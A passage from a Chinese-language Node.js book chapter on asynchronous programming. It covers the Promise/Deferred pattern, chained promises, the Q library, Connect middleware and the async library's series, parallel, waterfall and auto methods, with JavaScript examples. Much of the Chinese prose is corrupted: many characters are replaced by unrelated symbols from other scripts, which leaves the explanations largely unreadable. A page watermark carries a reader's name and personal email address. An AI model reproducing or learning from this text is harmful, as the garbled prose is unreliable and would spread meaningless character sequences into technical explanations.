� Promise的࿃খ只会Ѣဗ从ల߸੆খՓ߸੆খ੊ܾ᠋খᣀӐ，不能ᤣ反。߸੆খ֖ܾ᠋খ

不能̈相ᣀӐ。 

� Promise的࿃খ一ெᣀӐ，࠱不能ᜁఝஇ。 

Promise的࿃খᣀӐᇧ਒图ݟ图4-4੝ᇧ。 

 

图4-4 Promise的࿃খᣀӐᇧ਒图 

在API的定˦上，Promises/Aଡᝫ是ඊᣖኤӬ的。一个Promise对៵只要Хܫthen()ழกԀ可。

ͭ是对于then()ழก，有以下ኤӬ的要ය。 

� 接ԩ߸੆খ、ᩱឧখ的ុٿழก。在ୱ作߸੆੊Ѣဗᩱឧ时，࠱会ុ用对应ழก。 
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� 可ᤤஂڠ૆progress事͇ុٿ作为ኃʻ个ழก。 
� then()ழก只接ԩfunction对៵，Ф余对៵࠱ᜁ঒႔。 
� then()ழก继续ᤄٿPromise对៵，以实ဗᩖयុ用。 
then()ழก的定˦ݟ下Ὑ 

then(fulfilledHandler, errorHandler, progressHandler) 

为了໥ᇧPromises/Aଡᝫ，这᧖我们࠼试᤯过继੽Node的eventsഴڰ౎߸੆一个ኤӬ的实

ဗ，相关̼ᆉݟ下Ὑ 

var Promise = function () { 
  EventEmitter.call(this); 
}; 
util.inherits(Promise, EventEmitter); 
 
Promise.prototype.then = function (fulfilledHandler, errorHandler, progressHandler) { 
  if (typeof fulfilledHandler === 'function') { 
    // ૧用once()方法ǈԍ证成功回调ኻ执行ᅃْ 
    this.once('success', fulfilledHandler); 
  } 
  if (typeof errorHandler === 'function') { 
    // ૧用once()方法ǈԍ证异常回调ኻ执行ᅃْ 
    this.once('error', errorHandler); 
  } 
  if (typeof progressHandler === 'function') { 
    this.on('progress', progressHandler); 
  } 
  return this; 
}; 

这᧖ᄹ到then()ழก੝做的事情是ុٿ࠱ѥ数ߚஉ起౎。为了߸੆ஞ个ึ程，还ᭉ要触发

੯ᛠ这些ុٿѥ数的ڠழ，实ဗ这些ҩ能的对៵᤯࣡ᜁሥ为Deferred，Ԁढᤌ对៵，ᇧΒ̼ᆉ

 下Ὑݟ

var Deferred = function () { 
  this.state = 'unfulfilled'; 
  this.promise = new Promise(); 
}; 
 
Deferred.prototype.resolve = function (obj) { 
  this.state = 'fulfilled'; 
  this.promise.emit('success', obj); 
}; 
 
Deferred.prototype.reject = function (err) { 
  this.state = 'failed'; 
  this.promise.emit('error', err); 
}; 
 
Deferred.prototype.progress = function (data) { 
  this.promise.emit('progress', data); 
}; 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权



4.3� ऩ൥ᎃርᝌфழ಴� � 85 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

这᧖的࿃খ֖ழก之ᫍ的对应关系ݟ图4-5੝ᇧ。 

 

图4-5 ࿃খ֖ழก之ᫍ的对应关系 

ѽ用Promises/Aଡᝫ的ഴय，我们可以对一个Цۋ的ֽ应对៵ᤈᛠ࠯ᜈ，相关̼ᆉݟ下Ὑ 

res.setEncoding('utf8'); 

res.on('data', function (chunk) { 

  console.log('BODY: ' + chunk); 

}); 

res.on('end', function () { 

  // Done 
}); 

res.on('error', function (err) { 

  // Error 
}); 

上ᤗ̼ᆉ可以ᣀ૰为ݟ下的ኤ႔्यὙ 

res.then(function () { 

  // Done 
}, function (err) { 

  // Error 
}, function (chunk) { 

  console.log('BODY: ' + chunk); 

}); 

要实ဗݟ൤ኤӬ的API，只ᭉ要ኤӬڠஇᤴ一下Ԁ可，相关̼ᆉݟ下Ὑ 

var promisify = function (res) { 

  var deferred = new Deferred(); 

  var result = ''; 

  res.on('data', function (chunk) { 

    result += chunk; 

    deferred.progress(chunk); 

  }); 

  res.on('end', function () { 

    deferred.resolve(result); 

  }); 

  res.on('error', function (err) { 

    deferred.reject(err); 

  }); 

  return deferred.promise; 

}; 
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deferred.promise的目的是为了不ᝧ外部程序ុ用ٿ൤就३到了ኤӬ的ፆ౦。这᧖ᤄݟ

resolve()֖reject()ழก，ఝஇ内部࿃খ的ᛠ为̓由定˦者ူܪ。下᭦为定˦好Promise后的ុ

用ᇧΒὙ 

promisify(res).then(function () { 

  // Done 

}, function (err) { 

  // Error 

}, function (chunk) { 

  // progress 

  console.log('BODY: ' + chunk); 

}); 

这᧖ٿ到Promise֖Deferred的ࢿѾ上。从上᭦的̼ᆉ可以ᄹѢ，Deferred˞要是用于内部，

用于፤એऩ൥ഴۋ的࿃খ὚PromiseѶ作用于外部，᤯过then()ழก఑᭚ፋ外部以ຊ加自定˦᤾ᣣ。

Promise֖Deferred的ஞͳ关系ݟ图4-6੝ᇧ。 

 

图4-6 Promise֖Deferredஞͳ关系ᇧ਒图 

与事͇发࣊/ᝠ阅ഴय相ඊ，Promise/Deferredഴय的API接ԯ֖ઙ៵ഴۋ都Ӡ分ኤผ。从图4-6

中也可以ᄹѢ，它࠱ˉ务中不可Ԫ的部分࠯ᜈ在了Deferred中，࠱可Ԫ的部分̓ፋ了Promise。൤

时问题就౎了，对于不Վ的场景，都ᭉ要Ԝ࠯ᜈ֖இᤴФDeferred部分，ཨ后才能३到ኤผ的接

ԯ。ݟ౦场景不࣡用，࠯ᜈᔈ᠟的时ᫍ与ࣛ౎的ኤผ相ඊ并不一定Ѳኪ。 

Promise是高ጞ接ԯ，事͇是ͯጞ接ԯ。ͯጞ接ԯ可以ౝ੆ఝ多ఝ复杂的场景，高ጞ接ԯ一

ெ定˦，不ܹࠓ௛ԪӐ，不в有ͯጞ接ԯ的灵活性，ͭ对于解决Цۋ问题᭣࣡有஌。Promises/A

的ഴۋઙ៵在几ሗPromiseଡᝫ中相对ኤผ。 

这᧖в̭ፀ一下Q。Qഴڰ是Promises/A᜺ᔴ的一个实ဗ，可以᤯过npm install qᤈᛠ߶ᜈ

使用。它对Node中࣡᜸ុٿѥ数的Promise实ဗݟ下Ὑ 

/** 

 * Creates a Node-style callback that will resolve or reject the deferred 

 * promise. 

 * @returns a nodeback 

 */ 

defer.prototype.makeNodeResolver = function () { 

  var self = this; 

  return function (error, value) { 

    if (error) { 
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      self.reject(error); 

    } else if (arguments.length > 2) { 

      self.resolve(array_slice(arguments, 1)); 

    } else { 

      self.resolve(value); 

    } 

  }; 

}; 

可以ᄹ到这᧖是一个高᫼ѥ数的使用，makeNodeResolverᤄٿ了一个Node᮲ಪ的ុٿѥ数。

对于fs.readFile()的ុ用，࠱会໥Ӑ为ݟ下्यὙ 

var readFile = function (file, encoding) { 

  var deferred = Q.defer(); 

  fs.readFile(file, encoding, deferred.makeNodeResolver()); 

  return deferred.promise; 

}; 

定˦之后的ុ用ᇧΒݟ下Ὑ 

readFile("foo.txt", "utf-8").then(function (data) { 

  // Success case 

}, function (err) { 

  // Failed case 

}); 

Promise᤯过࠯ᜈऩ൥ុ用，实ဗ了ൣՓ用Β֖反Փ用Β的分ሎ以Ԣ᤾ᣣူܪढᤌ，这使३

 。ѥ数相对优ᬵុٿ

前᭦分ౡ了Q对Nodeऩ൥ុٿ的ူܪ。事实上，ऩ൥编程中ᭉ要ᔈ᠟很多ዴҦᤈᛠऩ࣡的ѻ

ற֖ူܪ，为了分ሎऩ֖࣡ൣ࣡情х，我写了一个ഴڰmemeda用于ူܪmakeNodeResolver相ͪ的

事情。在下᭦的ុ用ᇧΒ中可以ᄹ到，ൣ࣡ፆ౦֖ऩ࣡ፆ౦ᜁ分ሎ到ˏ个ѥ数中Ὑ 

var failing = require('memeda').failing; 

 

fs.readFile(file, encoding, failing(function (err) { 

  // TODO 

}).passing(function (data) { 

  // TODO 

})); 

我们可以对Q֖memedaഴڰ႔做ඊᣖ。ˏ者相ͪ之ܪ在于分ሎ᤾ᣣ，使开发者Ξ᧗关ซൣ࣡

情х。不Վ之ܪ在于Q᤯过promise()可以实ဗढᤌူܪ，以Ԣ᤯过多次ុ用then()ᬃ加ఝ多ፆ౦

很强的Υ入性὚ጥዱ的ѥ数Ѷᣖ为ᣏܫᜈ，ͭ是强大，Х࠯᤾ᣣ。可以ᄹ到，Promiseᭉ要ူܪ

量，ͭҩ能相对ि小。 

2. PromiseЁⱘ໮ᓖℹण԰ 
在Promise的̭ፀ中ឬ过，˞要解决的是Ӭ个ऩ൥ୱ作中ߚ在的问题。ٿ到我们的ᬱཁ，ॆ

我们ᭉ要ူܪ多个ऩ൥ុ用时，Ԡឞူܪʹݟփ὞ 

ዜͪ于EventProxy，这᧖ፋѢ了一个ኤӬ的ԓۋ实ဗ，相关̼ᆉݟ下Ὑ 

Deferred.prototype.all = function (promises) { 
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  var count = promises.length; 

  var that = this; 

  var results = []; 

  promises.forEach(function (promise, i) { 

    promise.then(function (data) { 

      count--; 

      results[i] = data; 

      if (count === 0) { 

        that.resolve(results); 

      } 

    }, function (err) { 

      that.reject(err); 

    }); 

  }); 

  return this.promise; 

}; 

对于多次஠͇的读Ԩ场景，以下᭦的̼ᆉ为Β，all()ழก࠱ˏ个Ӭ࿗的Promise᧗新ઙ៵组

Ջ੆一个新的PromiseὙ 

var promise1 = readFile("foo.txt", "utf-8"); 

var promise2 = readFile("bar.txt", "utf-8"); 

var deferred = new Deferred(); 

deferred.all([promise1, promise2]).then(function (results) { 

  // TODO 

}, function (err) { 

  // TODO 

}); 

这᧖᤯过all()ழกઙ៵多个ऩ൥ୱ作。只有੝有ऩ൥ୱ作੆ҩ，这个ऩ൥ୱ作才ኪ੆ҩ，

一ெФ中一个ऩ൥ୱ作ܾ᠋，ஞ个ऩ൥ୱ作就ܾ᠋。 

本ᓫ的̼ᆉ˞要用于ଠᤗPromise的ԓူ，在੆熟ऎ上并లݟwhen֖Qഴڰ。在实ᬄ的应用中，

可以᤯过NPM߶ᜈ这ˏ个ഴڰ，它们是߸ஞ的Promiseଡᝫ的实ဗ。 

3. Promiseⱘ䖯䰊ⶹ䆚 
在API的఑᭚上，Promiseഴयඊԓ始的事͇Νե֖触发႔为优Ꮎ，它的ᎤᬝѶ是ᭉ要为不Վ

的场景࠯ᜈ不Վ的API，没有ᄯ接的ԓ生事͇ᥦ˥灵活。ͭ对于经Ц的场景，࠯ᜈѢAPI的੆本

也并不高，Ϙ३一做。 

Promise的ማ᝻Ф实在于对᫲Ѵ的ୱ作。这᧖̭ፀ一个实ᬄ的಴Β，我在ူܪ自动Ӑ测试时，

要ᡱᤉ程服务٧之ᫍᤈᛠ多次ૈ̽发ᤞ，这些ૈ̽是૊ᮊ序Ι次ᤈᛠ的。在Node中，网ፎं是߸

Кऩ൥的，௃ก在编程ࡎ᭦实ဗ像Ф他语言ᥦᓉ的Վ൥ុ用。由于网ቢႌ᭦᤯࣡都是由前端工程

੆的，用JavaScript编写自动Ӑ测试可以ђᣏ他们Ѭ૰环境的჋ᔪ，੝以不能因为௃กՎ൥ុ߸࣍

用就உप૿Node。解决Վ൥ុ用问题的ኔ಴也就是᧓用Deferredഴय。 

ဗ在有一组ጥऩ൥的API，为了߸੆一˘事情，我们的̼ᆉ大ᒰݟ下Ὑ 

obj.api1(function (value1) { 

  obj.api2(value1, function (value2) { 

    obj.api3(value2, function (value3) { 

      obj.api4(value3, function (value4) { 
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        callback(value4); 

      }); 

    }); 

  }); 

}); 

由于有૊ඇ个൥ᰠΙ次੯ᛠ的ᭉය，੝以ॸᮋݒࢥ੯ᛠ。ͭᥦ样我们会३到ᬱᄹ的ݒࢥ，ᡓ

过10个ᤋ续ݒࢥ就会ᝧ̼ᆉӠ分ᬱᄹ。于是我们३到了þPyramid of Doomÿ，ដ为中஠，是 þ៊ৎ

᱑᧚܈ߙÿ。相信初入Nodeˆႌ的人，也写过不࠵൤ዜ̼ᆉ。 

下᭦我们᤯过௾᤯的ѥ数࠱上᭦的̼ᆉ࠼试ࡘ开Ὑ 

var handler1 = function (value1) { 

  obj.api2(value1, handler2); 

}; 

var handler2 = function (value2) { 

  obj.api3(value2, handler3); 

}; 

var handler3 = function (value3) { 

  obj.api4(value3, hander4); 

}; 

var handler4 = function (value4) { 

  callback(value4); 

}); 

 

obj.api1(handler1); 

对于喜欢ѽ用事͇的开发者，我们ࡘ开后的̼ᆉԠ࠱会是ঞ样的情хփ὞Хͳݟ下੝ᇧὙ  

var emitter = new event.Emitter(); 

 

emitter.on("step1", function () { 

  obj.api1(function (value1) { 

    emitter.emit("step2", value1); 

  }); 

}); 

 

emitter.on("step2", function (value1) { 

  obj.api2(value1, function (value2) { 

    emitter.emit("step3", value2); 

  }); 

}); 

 

emitter.on("step3", function (value2) { 

  obj.api3(value2, function (value3) { 

    emitter.emit("step4", value3); 

  }); 

}); 

 

emitter.on("step4", function (value3) { 

  obj.api4(value3, function (value4) { 

    callback(value4); 

  }); 

}); 
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emitter.emit("step1"); 

ѽ用事͇ࡘ开后的஌౦Ԫ३ᡔ౎ᡔጁዼ了。与ጥዱݒࢥ相ඊ，̼ᆉ量௙௬ܘ加了，这௬ཨ不

会ࣛ౎ᓡ好的编程ͳᰍ。为൤，我们ᭉ要一ሗఝ好的ழय。 

z ஂ૆ࣿѴ੯ᛠ的Promise 

ူ想的编程ͳᰍ应ॆ是前一个的ុ用ፆ౦作为下一个ុ用的开始，是͛ឬ中的ᩖयុ用，相

关̼ᆉݟ下Ὑ 

promise() 

  .then(obj.api1) 

  .then(obj.api2) 

  .then(obj.api3) 

  .then(obj.api4) 

  .then(function (value4) { 

    // Do something with value4 

  }, function (error) { 

    // Handle any error from step1 through step4 

  }) 

  .done(); 

 下੝ᇧὙݟ试இᤴ一下̼ᆉ以实ဗᩖयុ用，Хͳ࠼

var Deferred = function () { 

  this.promise = new Promise(); 

}; 

 

// ྜ成态 

Deferred.prototype.resolve = function (obj) { 

  var promise = this.promise; 

  var handler; 

  while ((handler = promise.queue.shift())) { 

    if (handler && handler.fulfilled) { 

      var ret = handler.fulfilled(obj); 

      if (ret && ret.isPromise) { 

        ret.queue = promise.queue; 

        this.promise = ret; 

        return; 

      } 

    } 

  } 

}; 

 

// ฿Ө态 

Deferred.prototype.reject = function (err) { 

  var promise = this.promise; 

  var handler; 

  while ((handler = promise.queue.shift())) { 

    if (handler && handler.error) { 

      var ret = handler.error(err); 

      if (ret && ret.isPromise) { 

        ret.queue = promise.queue; 

        this.promise = ret; 
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        return; 

      } 

    } 

  } 

}; 

 

// 生成回调函数 

Deferred.prototype.callback = function () { 

  var that = this; 

  return function (err, file) { 

    if (err) { 

      return that.reject(err); 

    } 

    that.resolve(file); 

  }; 

}; 

 

var Promise = function () { 

  // 队列用ᇀ存ځئ执行的回调函数 

  this.queue = []; 

  this.isPromise = true; 

}; 

 

Promise.prototype.then = function (fulfilledHandler, errorHandler, progressHandler) { 

  var handler = {}; 

  if (typeof fulfilledHandler === 'function') { 

    handler.fulfilled = fulfilledHandler; 

  } 

  if (typeof errorHandler === 'function') { 

    handler.error = errorHandler; 

  } 

  this.queue.push(handler); 

  return this; 

}; 

这᧖我们以ˏ次஠͇读Ԩ作为Βߔ，以ᰍ᝼ឞ᝹᝟的可ᛠ性。这᧖ϛ᝹读Ԩኃ̃个஠͇是Ι

ᠺ于ኃ一个஠͇中的内ࠓ的，相关̼ᆉݟ下Ὑ 

var readFile1 = function (file, encoding) { 

  var deferred = new Deferred(); 

  fs.readFile(file, encoding, deferred.callback()); 

  return deferred.promise; 

}; 

var readFile2 = function (file, encoding) { 

  var deferred = new Deferred(); 

  fs.readFile(file, encoding, deferred.callback()); 

  return deferred.promise; 

}; 

 

readFile1('file1.txt', 'utf8').then(function (file1) { 

  return readFile2(file1.trim(), 'utf8'); 

}).then(function (file2) { 

  console.log(file2); 

}); 
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 会३到以下的ᣤѢፆ౦Ὑ࠱，为sequence.js஠͇。੯ᛠឞ̼ᆉߚ这ൿ̼ᆉ࠱

$ node sequence.js  

I am file2 

要ᝧPromiseஂ૆ᩖय੯ᛠ，˞要᤯过以下ˏ个൥ᰠ。 

 。到᫲Ѵ中ߚ都ុٿ੝有的࠱ (1)

(2) Promise߸੆时，ᤩ个੯ᛠុٿ，一ெ೜测到ᤄٿ了新的Promise对៵，Ϣൢ੯ᛠ，ཨ后࠱

ॆ前Deferred对៵的promiseल用இԪ为新的Promise对៵，并࠱᫲Ѵ中余下的ុٿᣀ̓ፋ它。 

写到这᧖，你是否௙了ৎ᱑᧚܈ߙឞݟʹ优Ӑ὞ 

в次᧗ႁ，这᧖的̼ᆉ˞要用于研ቂPromise的实ဗԓူ。在ఝ多ጹᓫ的优Ӑழ᭦，Q੊者

whenኍPromiseं做३ఝ好，实ᬄ应用时请᧓用这些੆熟ं。 

z ࠱API PromiseӐ 

这᧖̮ཨ会发ဗ，为了ͳᰍఝ好的API，ᭉ要做ᣖ多的эܫ工作。这᧖ଡΘ了一个ழก可以

੺量࠱ழกPromiseӐ，相关̼ᆉݟ下Ὑ 

// smooth(fs.readFile); 

var smooth = function (method) { 

  return function () { 

    var deferred = new Deferred(); 

    var args = Array.prototype.slice.call(arguments, 1); 

    args.push(deferred.callback()); 

    method.apply(null, args); 

    return deferred.promise; 

  }; 

}; 

于是前᭦的ˏ次஠͇读Ԩ的ౝᤴὙ 

var readFile1 = function (file, encoding) { 

  var deferred = new Deferred(); 

  fs.readFile(file, encoding, deferred.callback()); 

  return deferred.promise; 

}; 

var readFile2 = function (file, encoding) { 

  var deferred = new Deferred(); 

  fs.readFile(file, encoding, deferred.callback()); 

  return deferred.promise; 

}; 

可以ኤӐ为Ὑ 

var readFile = smooth(fs.readFile); 

要实ဗՎ样的஌౦，̼ᆉ量࠱会ᩨђ到Ὑ 

var readFile = smooth(fs.readFile); 

readFile('file1.txt', 'utf8').then(function (file1) { 

  return readFile(file1.trim(), 'utf8'); 

}).then(function (file2) { 
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  // file2 => I am file2 

  console.log(file2); 

}); 

4.3.3� ⌕⿟᥻ࠊᑧ 

前᭦ԫᤗ了最为˞ึ的ഴयúú事͇发࣊/ᝠ阅ഴय֖Promise/Deferredഴय，这些是经Ц的

ഴय੊者是写ᤈ᜺ᔴ᧖的解决ழ಴，ͭ 一ெ๗Ԣഴय੊者᜺ᔴ，就ᭉ要为它们做ᣖ多的эܫ工作。

这一ᓫ࠱会̭ፀ一些᭣ഴयӐ的应用，ᙉ᭣᜺ᔴ，ͭఝ灵活。 

1. ሒ㾺থϢNext 
ᬓ了事͇֖Promise外，还有一ዜழก是ᭉ要੣工ុ用才能૆续੯ᛠ后续ុ用的，我们࠱൤

ዜழกԶ做ࡊ触发，࣡᜸的关᪃ជ是next。事实上，ࡊ触发目前应用最多的ڠழ是Connect的中

͇ᫍ。 

这᧖我们ఆ且不关ซConnect的Хͳ应用，Ўᄹ一下Connect的API఑᭚ழय，相关̼ᆉݟ下Ὑ 

var app = connect(); 

// Middleware 

app.use(connect.staticCache()); 

app.use(connect.static(__dirname + '/public')); 

app.use(connect.cookieParser()); 

app.use(connect.session()); 

app.use(connect.query()); 

app.use(connect.bodyParser()); 

app.use(connect.csrf()); 

app.listen(3001); 

在᤯过use()ழกซб好一系Ѵ中͇ᫍ后，ᄢե端ԯ上的请ය。中͇ᫍѽ用了ࡊ触发的机҃，

最ኤӬ的中͇ᫍݟ下Ὑ 

function (req, res, next) { 

  // 中间件 

} 

ඇ个中͇ᫍ͛ᤫ请ය对៵、ֽ应对៵֖ࡊ触发ѥ数，᤯过᫲Ѵ्੆一个ݟ，ึူܪ图4-7੝ᇧ。 

 

图4-7 中͇ᫍ᤯过᫲Ѵ्੆一个ึူܪ 

中͇ᫍ机҃使३在ူܪ网ፎ请ය时，可以像᭦ՓѬ᭦编程一样ᤈᛠ过໙、ᰍ᝼、௅ংኍҩ能，

Ꮺ不与Хͳˉ务᤾ᣣ产生关ᐎ，以ᒰ产生ᏸՋ。 

下᭦我们౎ᄹConnect的ನ心实ဗ，相关̼ᆉݟ下Ὑ 
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function createServer() { 

  function app(req, res){ app.handle(req, res); } 

  utils.merge(app, proto); 

  utils.merge(app, EventEmitter.prototype); 

  app.route = '/'; 

  app.stack = []; 

  for (var i = 0; i < arguments.length; ++i) { 

    app.use(arguments[i]); 

  } 

  return app; 

}; 

这ൿ̼ᆉ᤯过ݟ下̼ᆉ创त了HTTP服务٧的request事͇ူܪѥ数Ὑ 

function app(req, res){ app.handle(req, res); } 

ͭᄽൣ的ನ心̼ᆉ是app.stack = []; 这Ա。stack࡚性是这个服务٧内部፤એ的中͇ᫍ᫲Ѵ。

᤯过ុ用use()ழก我们可以࠱中͇ᫍஉᤈ᫲Ѵ中。下᭦的̼ᆉ为use()ழก的᧗要部分Ὑ 

app.use = function(route, fn){ 

  // some code 

  this.stack.push({ route: route, handle: fn }); 

 

  return this; 

}; 

൤时就त好ူܪഴۋ了。接下౎，ፆՋNodeԓ生httpഴڰ实ဗᄢեԀ可。ᄢեѥ数的实ဗ

 下Ὑݟ

app.listen = function(){ 

  var server = http.createServer(this); 

  return server.listen.apply(server, arguments); 

}; 

最ጻٿ到app.handle()ழก，ඇ一个ᄢե到的网ፎ请ය都࠱从这᧖开始ူܪ。ឞழก的̼ᆉ

 下Ὑݟ

app.handle = function(req, res, out) { 

  // some code 

  next(); 

}; 

ԓ始的next()ழกᣖ为复杂，下᭦是ኤӐ后的内ࠓ，ФԓူӠ分ኤӬ，ԨѢ᫲Ѵ中的中͇ᫍ

并੯ᛠ，Վ时͛入ॆ前ழก以实ဗᤫॅុ用，᣹到૆续触发的目的Ὑ 

function next(err) { 

  // some code 

  // next callback 

  layer = stack[index++]; 

 

  layer.handle(req, res, next); 

} 

੝有߀ऩ൥编程复杂的开发者ڨ可以ԟᏥConnect的ึयူܪ，这对于Ѳ分ˉ务᤾ᣣ、ᤩ൥

 。有஌ڨူܪ
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Ϙ३ଡᧇ的是，ࡉ管中͇ᫍ这ሗࡊ触发ഴय并不要යඇ个中ᫍழก都是ऩ൥的，ͭ 是ݟ౦ඇ

个൥ᰠ都᧓用ऩ൥౎߸੆，实ᬄ上只是˘ᛠӐ的ူܪ，没办ก᤯过并ᛠ的ऩ൥ុ用౎ଡӣˉ务的

还是ᭉ要ୃᦠ事͇੊者ူܪ一些˘ᛠ的᤾ᣣਫ਼ࣰӐ，ͭ是并ᛠ᤾ᣣ࠱可以ူܪ஌ည。ึयူܪ

Promise߸੆的，这样ˉ务在ጪՓ֖ശՓ都能ܴՉ自ຌఀ。 
在Connect中，ࡊ触发Ӡ分᤟Ջူܪ网ፎ请ය的场景。࠱复杂的ူܪ᤾ᣣઞ解为ኤผ、Ӭ一

的ူܪӬЊ，ᤩࡎ次ူܪڠ请ය对៵ֽ֖应对៵。  
2. async 
接下౎，我们要̭ፀ最ᅻՏ的ึ程ଌ҃ഴڰasync。async᫁యӳ૵NPMΙᠺച的前ʻՏ，可

᜸在Node开发中，ึ程ଌ҃是开发过程中的۲本ᭉය。asyncഴڰଡΘ了20多个ழก用于ူܪऩ

൥的ՉሗӨ作ഴय，这᧖我们̭ፀ几ሗЦۋ用ก。 
z ऩ൥的˘ᛠ੯ᛠ 
这᧖我们Ιே᧓用前᭦读Ԩˏ个஠͇的Βߔ，ᄹ一下async是ݟʹ解决þৎ᱑᧚܈ߙÿ问 

题的。 
asyncଡΘ了series()ழก౎实ဗ一组͉务的˘ᛠ੯ᛠ，ᇧΒ̼ᆉݟ下Ὑ 

async.series([ 
  function (callback) { 
    fs.readFile('file1.txt', 'utf-8', callback); 
  }, 
  function (callback) { 
    fs.readFile('file2.txt', 'utf-8', callback); 
  } 
], function (err, results) { 
  // results => [file1.txt, file2.txt] 
}); 

这ൿ̼ᆉኍ͈于Ὑ 

fs.readFile('file1.txt', 'utf-8', function (err, content) { 
  if (err) { 
    return callback(err); 
  } 
  fs.readFile('file2.txt ', 'utf-8', function (err, data) { 
    if (err) { 
      return callback(err); 
    } 
    callback(null, [content, data]); 
  }); 
}); 

这ൿ̼ᆉϘ३ဓ։的是ុٿѥ数。可以发ဗ，series()ழก中͛入的ѥ数callback()并᭣由

使用者ૈ定。事实上，൤ܪ的ុٿѥ数由async᤯过高᫼ѥ数的ழयซ入，这᧖ᬤդ了ྱ൳的᤾

ᣣ。ඇ个callback()੯ᛠ时会࠱ፆ౦γߚ起౎，ཨ后੯ᛠ下一个ុ用，ᄯ到ፆో੝有ុ用。最ጻ

的ុٿѥ数੯ᛠ时，᫲Ѵ᧖的ऩ൥ុ用γߚ的ፆ౦以数组的ழय͛入。这᧖的ऩ࣡ူܪ᜺Ѷ是一

ெѢဗऩ࣡，就ፆో੝有ុ用，并࠱ऩ࣡͛ᤫፋ最ጻុٿѥ数的ኃ一个ԟ数。 
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z ऩ൥的ࣲᛠ੯ᛠ 

ॆ我们ᭉ要᤯过并ᛠ౎ଡӣ性能时，asyncଡΘ了parallel()ழก，用以并ᛠ੯ᛠ一些ऩ൥ୱ

作。以下为读Ԩˏ个஠͇的并ᛠྟ本Ὑ 

async.parallel([ 

  function (callback) { 

    fs.readFile('file1.txt', 'utf-8', callback); 

  }, 

  function (callback) { 

    fs.readFile('file2.txt', 'utf-8', callback); 

  } 

], function (err, results) { 

  // results => [file1.txt, file2.txt] 

}); 

上᭦这ൿ̼ᆉኍ͈于下᭦的̼ᆉὙ 

var counter = 2; 

var results = []; 

var done = function (index, value) { 

  results[index] = value; 

  counter--; 

  if (counter === 0) { 

    callback(null, results); 

  } 

}; 
 
// ኻ传递ڼᅃ߲异常 

var hasErr = false; 

var fail = function (err) { 

  if (!hasErr) { 

    hasErr = true; 

    callback(err); 

  } 

}; 

 

fs.readFile('file1.txt', 'utf-8', function (err, content) { 

  if (err) { 

    return fail(err); 

  } 

  done(0, content); 

}); 

fs.readFile('file2.txt', 'utf-8', function (err, data) { 

  if (err) { 

    return fail(err); 

  } 

  done(1, data); 

}); 

Վ样，᤯过async编写的̼ᆉ௄没有深ऎ的ݒࢥ，也没有复杂的࿃খѻற，它的᝻቎Ιཨ౎

自于ซ入的ុٿѥ数。parallel()ழก对于ऩ࣡的ѻறΙཨ是一ெ౼个ऩ൥ុ用产生了ऩ࣡，就

会࠱ऩ࣡作为ኃ一个ԟ数͛入ፋ最ጻ的ុٿѥ数。只有੝有ऩ൥ុ用都ൣ࣡߸੆时，才会࠱ፆ౦

以数组的ழय͛入。 
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也᝴你还᝭३EventProxy的ழ಴，ݟ下੝ᇧὙ 

var EventProxy = require('eventproxy'); 

 

var proxy = new EventProxy(); 

proxy.all('content', 'data', function (content, data) { 

  callback(null, [content, data]); 

}) 

proxy.fail(callback); 

 

fs.readFile('file1.txt', 'utf-8', proxy.done('content')); 

fs.readFile('file2.txt', 'utf-8', proxy.done('data')); 

与᤯过async编写੝产生的̼ᆉ量相ࢿ并不大。EventProxyᙉཨ۲于事͇发࣊/ᝠ阅ഴयᏪ᝹

᝟，ͭ也用到了与async相Վ的ԓူ，᤯过ྱ൳的ុٿѥ数౎ᬤդᤄٿϘ的ူܪ。੝不Վ的是，

在async的ಳ౵ഴय下，这个ុٿѥ数由async࠯ᜈ后͛ᤫѢ౎，ᏪEventProxyѶ᤯过done()֖fail()

ழก౎生੆新的ុٿѥ数。这ˏሗ实ဗழय都是高᫼ѥ数的应用。 

z ऩ൥ុၸ的Ιᠺူܪ 

series()᤟Ջ௃Ιᠺ的ऩ൥˘ᛠ੯ᛠ，ͭॆ前一个的ፆ౦是后一个ុ用的ᣤ入时，series()

ழก就௃ก໗ᡛᭉය了。੝ࣳ，这ሗЦۋ场景的ᭉය，asyncଡΘ了waterfall()ழก౎໗ᡛ，相

关̼ᆉݟ下Ὑ 

async.waterfall([ 

  function (callback) { 

    fs.readFile('file1.txt', 'utf-8', function (err, content) { 

      callback(err, content); 

    }); 

  }, 

  function (arg1, callback) { 

    // arg1 => file2.txt 

    fs.readFile(arg1, 'utf-8', function (err, content) { 

      callback(err, content); 

    }); 

  }, 

  function(arg1, callback){ 

    // arg1 => file3.txt 

    fs.readFile(arg1, 'utf-8', function (err, content) { 

      callback(err, content); 

    }); 

  } 

], function (err, result) { 

   // result => file4.txt 

}); 

这ൿ̼ᆉኍ͈于ݟ下̼ᆉὙ 

fs.readFile('file1.txt', 'utf-8', function (err, data1) { 

  if (err) { 

    return callback(err); 

  } 

  fs.readFile(data1, 'utf-8', function (err, data2) { 
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    if (err) { 

      return callback(err); 

    } 

    fs.readFile(data2, 'utf-8', function (err, data3) { 

      if (err) { 

        return callback(err); 

      } 

      callback(null, data3); 

    }); 

  }); 

}); 

z ᒬҮΙᠺူܪ 

在ဗ实的ˉ务环境中，Х有很多复杂的Ιᠺ关系，这些ˉ务੊是ऩ൥，੊是Վ൥。这ሗຈ杂

的编程环境经࣡ᝧ人ܪ于ူ不ຌᮊ序的情х。为൤，asyncଡΘ了一个强大的ழกauto()实ဗ复杂

ˉ务ူܪ。 

ϛ᝹我们的ˉ务场景ݟ下Ὑ 

(1) 从ᇒᄧ读ԨᦠᎵ஠͇。 

(2) ಩૵ᦠᎵ஠͇ᤋ接MongoDB。 

(3) ಩૵ᦠᎵ஠͇ᤋ接Redis。 

(4) 编ដ᭡খ஠͇。 

(5) 上͛᭡খ஠͇到CDN。 

(6) ը动服务٧。 

ኤӬ௡࠰一下上ᤗˉ务Ὑ 

{ 

  readConfig: function () {}, 

  connectMongoDB: function () {}, 

  connectRedis: function () {}, 

  complieAsserts: function () {}, 

  uploadAsserts: function () {}, 

  startup: function () {} 

} 

接下౎分ౡ一下Ιᠺ关系。可以ᄹѢ，connectMongoDB֖connectRedisΙᠺreadConfig，

uploadAssertsΙᠺcomplieAsserts，startupѶΙᠺ੝有߸੆。Ιᠺ关系ݟ下Ὑ 

var deps = { 

  readConfig: function (callback) { 

    // read config file 

    callback(); 

  }, 

  connectMongoDB: ['readConfig', function (callback) { 

    // connect to mongodb 

    callback(); 

  }], 

  connectRedis: ['readConfig', function (callback) { 

    // connect to redis 

    callback(); 
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  }], 

